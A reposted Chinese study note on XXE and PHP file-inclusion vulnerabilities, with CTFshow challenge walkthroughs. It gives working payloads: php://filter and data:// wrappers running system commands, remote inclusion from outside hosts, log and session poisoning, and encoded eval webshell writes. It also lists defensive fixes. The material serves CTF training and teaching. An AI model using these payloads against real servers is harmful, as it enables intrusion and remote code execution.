安全基础~通用漏洞6

文章目录

  • 知识补充
  • XXE
  • 文件包含
    • CTFshow闯关

知识补充

XML格式(一种数据传输格式,现在被JSON取代):https://xz.aliyun.com/t/6887
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

文档格式
DTD

定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
参考文章

XXE

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE的特征

  • 特征1 — .ashx
    看到url是 .ashx后缀的

    .ashx后缀

  • 特征2 — 响应体是xml

    响应体为xml的

发现有这些特征都可以用下面的流程测试。

XXE检测工具
http://ceye.io/
http://www.dnslog.cn/
https://dnslog.io/

参考文章:https://www.cnblogs.com/20175211lyz/p/11413335.html

XXE黑盒发现

1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计(xml)
3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案

-方案1 禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

-方案2 过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

示例演示所用测试:

代码示例1
代码示例2
代码示例3

利用主要基于libxml2版本,其中libxml是PHP的xml支持。
libxml版本在2.9.1及以后,默认不解析外部实体,很多利用将无法实现。其可以在phpinfo中进行查看

示例4
示例5
示例6
ctfshow373
iwebsec靶场XXE:
xxe示例

XXE没有回显数据

没有回显数据
概念
利用
步骤
ctfshow374

小迪视频B占有
黑盒测试与白盒测试示例(小迪)参考:https://www.cnblogs.com/haorancracker/articles/17698940.html
XXE视频参考传送阵

文件包含

1、本地包含LFI&远程包含RFI-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定(远程条件决定)

2、各类脚本语言包含代码写法-见下文

<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include('test.php')?>

3、各类脚本语言包含伪协议玩法
https://www.cnblogs.com/endust/p/11804767.html

#思路要点:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

#本课总结:
1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码固定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时

攻击思路:

  1. 配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,图片代码被触发
  2. 配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码
  3. 配合会话文件进行getshell

黑盒发现:主要观察参数传递的数据和文件名是否对应
比如 f i l e = file= file=_GET[‘x’];//?x=index.php(文件名)

CTFshow闯关

78
代码:

if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    include($file); 
}else{ 
    highlight_file(__FILE__); 
}

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.mumuxi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79
代码:

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了file和php

payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
远程文件包含:如果不支持,那就只能支持本地的。
条件:
allow_url_fopen:on
allow_url_include:on
在代码也有相关限制。

80-81
代码:

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了php,data

尝试http,也被禁用了。还有file协议,但是file,zip等协议是加绝对路径的。http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
php被过滤了,这个在路径上是不能用*号代替的。之前能用*号代替是因为他调用系统命令,比如system(‘tac flag.*’) 路径上的文件名字如果flag.*,那么系统就会认为他是flag.*

那么他可以包含日志文件,信息收集中间件是Nginx
在网上查看Nginx的日志文件为/var/log/nginx/access.log

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log

eg

82 - 86

session包含,参考:
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html

在每个环境下面有个目录存储,在phpstudy中,存储session目录D:\phpstudy_pro\Extensions\tmp\tmp
这里有很多文件以sess_开头的文件名
test

这个文件是固定路径,如果知道了这个路径,那么就可以用包含session文件来实现getshell

文件包含

本地包含:LFI(local file include)
包含一个文件,这个文件有后门代码,就可以shell连上去
这个文件哪里来?
1.可以通过文件上传获取,上传的文件在服务器上面。
2.没有文件上传,借助日志写入(UA),session文件写入
3.伪协议没有文件上传也能进行PHP代码执行

那么session到底怎么样才能getshell呢?
在自己本地构造一个upload文件,后缀为html

<!DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1:8081/web/include.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

随便选一个文件进行上传,然后到存储session目录下观察session文件变化

test2

发现访问就会产生session文件,虽然说sess_头固定,但是后面是不固定的。
进行抓包,发现数据包中函数PHPSESSID的值,与sess_后面的值一直,修改PHPSESSID来进行控制sess_的文件名。
但是本地没有。

那么文件名应该怎么控制呢?通过表单PHP_SESSION_UPLOAD_PROGRESS来控制sess_文件内容,
比如<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
这个提交的sess_内容是123
伪协议读写的条件:
php代码:

$file=$_GET['filename'];
include($file);

访问http://127.0.0.1:8081/web/include.php?filename=1.txt
这样就能包含成功。
访问http://127.0.0.1:8081/web/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
这个就能读取到1.txt的内容

如果在代码中写上
$file=$_GET['filename']; include(‘mysql/’.$file);
包含文件的时候,包含mysql这个目录下的文件
那么如果还要包含,那应该怎么办?
这样访问就可以http://127.0.0.1:8081/web/include.php?filename=../1.txt
但是这个伪协议不能使用。伪协议不管前面和后面有没有东西,只要有东西都不可以。

87

if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    $content = $_POST['content']; 
    $file = str_replace("php", "???", $file); 
    $file = str_replace("data", "???", $file); 
    $file = str_replace(":", "???", $file); 
    $file = str_replace(".", "???", $file); 
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); 
     
}else{ 
    highlight_file(__FILE__); 
}

发现urldecode解码,
1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php 浏览器自动解码和代码进行解码(两次解码)
经过第一次编码%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%77%72%69%74%65%3D%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%31%32%33%2E%70%68%70
URL会自动解码(浏览器),最后也变成了php://filter/write=convert.base64-decode/resource=123.php
然后在进行一次编码
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
content用base64进行写的东西,所以传入的值也要编码
前面aa是填充值,为什么要加进去呢?因为base64编码默认是四个比特字节一次。
访问123.php,psot提交a=phpinfo();

2、利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php 也要经过两次编码
content=<?cuc riny($_CBFG[1]);?>
访问2.php,post提交1=phpinfo();

88

if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ 
        die("error"); 
    } 
    include($file); 
}else{ 
    highlight_file(__FILE__); 
} 

过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk是base64编码写法,需要没有过滤的字符。解码为:<?php system('tac *.php');echo 123;?>ad
TEST
117

highlight_file(__FILE__); 
error_reporting(0); 
function filter($x){ 
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ 
        die('too young too simple sometimes naive!'); 
    } 
} 
$file=$_GET['file']; 
$contents=$_POST['contents']; 
filter($file); 
file_put_contents($file, "<?php die();?>".$contents); 

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

参考链接:https://www.cnblogs.com/haorancracker/articles/17698941.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/395436.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C++与C的区别

1、C不允许出现多个同名的全局变量 2、C中const修饰的变量可以通过指针修改 3、C语言&#xff1a;NULL&#xff0c;C中&#xff1a;nullptr C语言中NULL通常是0值&#xff0c;只报警告 C中nullptr的左值一定得是指针类型 4、C新增“引用” 引用&#xff1a;取别名 数据…

java常用应用程序编程接口(API)——Object类概述及常用方法

前言&#xff1a; Object是一个非常重要的语句&#xff0c;整理下心得。打好基础&#xff0c;daydayup! Object类 什么是Object类&#xff1f; Object类是java中所有类的最终类。每一个类都默认继承Object类&#xff0c;因此java中的所有类中的对象都可以直接使用Object类中提…

产品经理学习-产品运营《流程管理》

如何进行流程管理 信息可视化 甘特图-流程管理思维导图-方案讨论原型图-活动文档 明确责任制 分工明确&#xff0c;关键环境有主负责人通过时间倒推督促管理 沟通技巧 明确共同利益以结果激励做好信息同步 如何进行监控活动效果 监控活动的效果是要监控数据 活动每个环境的…

详解4大C语言内存函数【超详细建议点赞收藏】

目录 1. memcpy----内存拷贝1.1 函数介绍1.2 函数使用1.3 模拟实现 2. memmove----重叠内存的数据拷贝2.1 函数介绍2.2 函数使用2.3 模拟实现 3. memcmp----内存比较3.1 函数介绍3.2 函数使用 4.memset----内存设置4.1 函数介绍4.2 函数使用 注意&#xff1a;以下4个内存函数在…

Rocky Linux网卡静态配置

一、开源系统 Rocky Linux 下载安装 1、安装教程 Rocky Linux 下载安装 二、远程工具 MobaXterm下载安装 1、安装教程 MobaXterm 下载安装 三、Rocky Linux 网卡配置 1、使用ip addr确认网卡名称&#xff08;此处可得知网卡为ens160&#xff09; [rootlocalhost ~]# ip a 1:…

蓝桥杯每日一题----单调栈和单调队列

单调栈和单调队列 单调栈 单调栈即栈内的元素是单调递减或者单调递增的&#xff0c;我们通过一个题目来理解。 单调栈模板题 题目描述 给出项数为 n 的整数数列 a 1 … a n a_1…a_n a1​…an​。 定义函数 f ( i ) f(i) f(i)代表数列中第 i 个元素之后第一个大于 a i …

13.Qt 文件的读和写,样式表文件的读用

目录 前言&#xff1a; 技能&#xff1a; 内容&#xff1a; 1. 界面 2.信号槽 ①浏览按键 ②保存按键 ③加载样式按键 参考&#xff1a; 前言&#xff1a; 上一篇文章说明了如何弹窗选取文件并在Qlabel中显示文件内容 12.QT文件对话框 文件的弹窗选择-QFileDialog 这篇…

HTML 入门指南

简述 参考&#xff1a;HTML 教程- (HTML5 标准) HTML 语言的介绍、特点 HTML&#xff1a;超级文本标记语言&#xff08;HyperText Markup Language&#xff09; “超文本” 就是指页面内可以包含图片、链接等非文字内容。“标记” 就是使用标签的方法将需要的内容包括起来。…

星纪魅族宣布 All in AI;欧盟将首次对苹果处以罚款丨 RTE 开发者日报 Vol.146

开发者朋友们大家好&#xff1a; 这里是 「RTE 开发者日报」 &#xff0c;每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE &#xff08;Real Time Engagement&#xff09; 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文…

世界顶级名校计算机专业,都在用哪些书当教材?(文末送书)

目录 01《深入理解计算机系统》02《算法导论》03《计算机程序的构造和解释》04《数据库系统概念》05《计算机组成与设计&#xff1a;硬件/软件接口》06《离散数学及其应用》07《组合数学》08《斯坦福算法博弈论二十讲》参与规则 清华、北大、MIT、CMU、斯坦福的学霸们在新学期里…

洛谷 P6546 [COCI2010-2011#2] PUŽ

讲解&#xff1a; 首先还是正常输入&#xff1a; int a,b,v; cin>>a>>b>>v; 然后经入一个函数num&#xff1a; cout<<num(1.0*(v-a),(a-b))1<<endl; 之所以要乘以1.0是因为要向上取整&#xff01;而这个num函数的两个参数则是“蜗牛白天爬了多…

python统计分析——一元线性回归分析

参考资料&#xff1a;用python动手学统计学 1、导入库 # 导入库 # 用于数值计算的库 import numpy as np import pandas as pd import scipy as sp from scipy import stats # 用于绘图的库 import matplotlib.pyplot as plt import seaborn as sns sns.set() # 用于估计统计…

多线程系列(一) -线程技术入门知识讲解

一、简介 在很多场景下&#xff0c;我们经常听到采用多线程编程&#xff0c;能显著的提升程序的执行效率。例如执行大批量数据的插入操作&#xff0c;采用单线程编程进行插入可能需要 30 分钟&#xff0c;采用多线程编程进行插入可能只需要 5 分钟就够了。 既然多线程编程技术…

GpuMall智算云平台:计费说明

1. 充值​ 当前GpuMall支持在线充值或者对公汇款。 选择在线充值时&#xff0c;填写或选择要充值的金额&#xff0c;推荐充值300元&#xff0c;可直接成为会员享受95折优惠。 点击下一步 在线体验入口&#xff1a;GpuMall智算云 | 省钱、好用、弹性。租GPU就上GpuMall 手机…

如何在三维地球上加载obj、fbx、ifc、dae、3ds、gltf/glb模型?

通过以下方法可以在三维地球上加载obj、fbx、ifc、dae、3ds、gltf/glb模型。 方法/步骤 下载三维地图浏览器 http://www.geosaas.com/download/map3dbrowser.exe&#xff0c;安装完成后桌面上出现”三维地图浏览器“图标。 2、双击桌面图标打开”三维地图浏览器“ 3、点击“…

全网最详细的从0到1的turbo pnpm monorepo的前端工程化项目[vitePress篇]

全网最详细的从0到1的turbo pnpm monorepo的前端工程化项目[vitePress篇] 前言选型为什么选择VitePress安装VitePress运行优化默认UI使用自定义UI编辑自定义布局编写home页面组件编写page页面组件 结语 前言 一个好的工程化项目&#xff0c;必然有一个好的文档管理&#xff0c;…

【复现】Panalog大数据日志审计系统 RCE漏洞_51

目录 一.概述 二 .漏洞影响 三.漏洞复现 1. 漏洞一&#xff1a; 四.修复建议&#xff1a; 五. 搜索语法&#xff1a; 六.免责声明 一.概述 Panalog大数据日志审计系统定位于将大数据产品应用于高校、 公安、 政企、 医疗、 金融、 能源等行业之中&#xff0c;针对网络流…

秒级到毫秒级的跨越—一次慢SQL优化历险

一次慢 SQL 优化过程 一、背景 对于公司内部的一个发票管理系统&#xff0c;财务人员经常需要对发票的开票交易进行查询&#xff0c;这里涉及到两张表&#xff1a;发票订单表和发票信息表&#xff0c;我们需要查询订单 ID、开票 APP、开票主体、订单类型、支付渠道、支付总额…

Linux系统安全:安全技术和防火墙

目录 一、安全技术和防火墙 1.安全技术 2.防火墙的分类 二、防火墙 1.iptables四表五链 2.黑白名单 3.iptables基本语法 4.iptables选项 5.控制类型 6.隐藏扩展模块 7.显示扩展模块 8.iptables规则保存 9.自定义链使用 一、安全技术和防火墙 1.安全技术 入侵检测系…

AMD FPGA设计优化宝典笔记(5)低频全局复位与高扇出

亚军老师的这本书《AMD FPGA设计优化宝典》&#xff0c;他主要讲了两个东西&#xff1a; 第一个东西是代码的良好风格&#xff1b; 第二个是设计收敛等的本质。 这个书的结构是一个总论&#xff0c;加上另外的9个优化&#xff0c;包含的有&#xff1a;时钟网络、组合逻辑、触发…
最新文章